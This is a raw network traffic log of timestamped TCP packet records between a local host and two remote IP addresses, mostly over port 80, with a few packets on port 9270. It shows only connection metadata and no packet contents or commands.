Dec 15, 2024 11:59:33.143352985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.143395901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.143594980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.143630028 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.144520998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.144618034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.144681931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.145726919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.145804882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.145850897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.146914959 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.147048950 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.147092104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.148077965 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.148186922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.148238897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.149210930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.149420023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.149470091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.150377035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.150430918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.150522947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.150558949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.151565075 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.151607037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.151634932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.151669979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.152735949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.152774096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.153070927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.153104067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.153899908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.154031038 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.154074907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.155131102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.155153036 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.155172110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.155190945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.156315088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.156367064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.156471014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.156510115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.157428026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.157469034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.157501936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.157531023 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.158592939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.158632994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.158747911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.158785105 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.159765959 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.159841061 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.159877062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.160943985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.160974026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.160986900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.161006927 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.162108898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.162230015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.162282944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.163289070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.163356066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.163358927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.163397074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.164495945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.164546013 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.164576054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.164608955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.165663004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.165718079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.165757895 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.165787935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.166877985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.166991949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.167035103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.167989969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.168042898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.168138027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.168175936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.169153929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.169208050 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.169250011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.169286966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.170335054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.170471907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.170515060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.171477079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.171523094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.171569109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.171602011 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.172656059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.172704935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.172770977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.172806978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.173865080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.173964977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.174016953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.175019026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.175082922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.175113916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.175630093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.176186085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.176515102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.176564932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.177359104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.177412987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.177459002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.177494049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.178514957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.178623915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.178683043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.180171013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.180226088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.180236101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.180265903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.181009054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.181052923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.181157112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.181195974 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.182106972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.182152987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.182231903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.182395935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.183238983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.183281898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.183394909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.183434963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.184423923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.184520960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.184570074 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.184608936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.185626984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.185695887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.185745001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.186770916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.186815977 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.186830044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.186872005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.187923908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.187973022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.188030005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.188060045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.189138889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.189198017 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.189274073 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.189312935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.190366030 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.190474987 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.190534115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.191476107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.191539049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.191565037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.191605091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.192615986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.192807913 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.192842007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.192862988 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.193849087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.193882942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.193950891 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.195039034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.195132017 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.195137978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.195169926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.196237087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.196290016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.196331978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.196367979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.197369099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.197417021 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.197460890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.197500944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.198497057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.201605082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.220199108 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:33.221661091 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.329638958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.329677105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.329693079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.329746962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.329936028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.329979897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.330043077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.330084085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.331134081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.331192970 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.331233978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.331274986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.332348108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.332447052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.332451105 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.332487106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.333550930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.333587885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.333606958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.333626986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.334676981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.334733963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.335383892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.335433006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.335949898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.335983992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.335997105 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.336019039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.337295055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.337330103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.337343931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.337368011 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.338246107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.338386059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.338433981 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.339378119 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.339423895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.339503050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.339545012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.340617895 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.340651989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.340666056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.340687037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.341595888 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:33.341721058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.341789007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.341806889 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.341857910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.341903925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.343005896 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.343108892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.343189001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.343234062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.344978094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.345011950 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.345046997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.345087051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.345793962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.346059084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.346110106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.347373009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.347423077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.347428083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.347462893 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.347825050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.347858906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.347873926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.347897053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.348865986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.348900080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.348925114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.348946095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.350605011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.350639105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.350713015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.351064920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.351116896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.351382971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.351428032 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.352353096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.352402925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.352489948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.352530003 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.353508949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.353543997 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.353559017 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.353580952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.354581118 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.354631901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.354715109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.354758978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.356004000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.356040001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.356065989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.356084108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.356906891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.356954098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.357033968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.357074022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.358143091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.358382940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.358442068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.359306097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.359361887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.359386921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.359432936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.360532999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.360584974 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.360586882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.360625982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.361624956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.361812115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.361866951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.362947941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.362981081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.363001108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.363023996 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.364269972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.364304066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.364325047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.364356041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.365305901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.365339994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.365355015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.365380049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.366408110 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.366442919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.366497040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.367440939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.367496967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.367636919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.367681980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.368696928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.368750095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.368803024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.368855953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.369826078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.370018005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.370071888 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.371037960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.371105909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.371232033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.371274948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.372172117 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.372220993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.372355938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.372397900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.373547077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.373583078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.373603106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.373625994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.374592066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.374686956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.374821901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.374866962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.375700951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.375761032 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.375807047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.375857115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.377290964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.377325058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.377357960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.377382040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.379214048 CET	80	49805	31.41.244.11	192.168.2.4
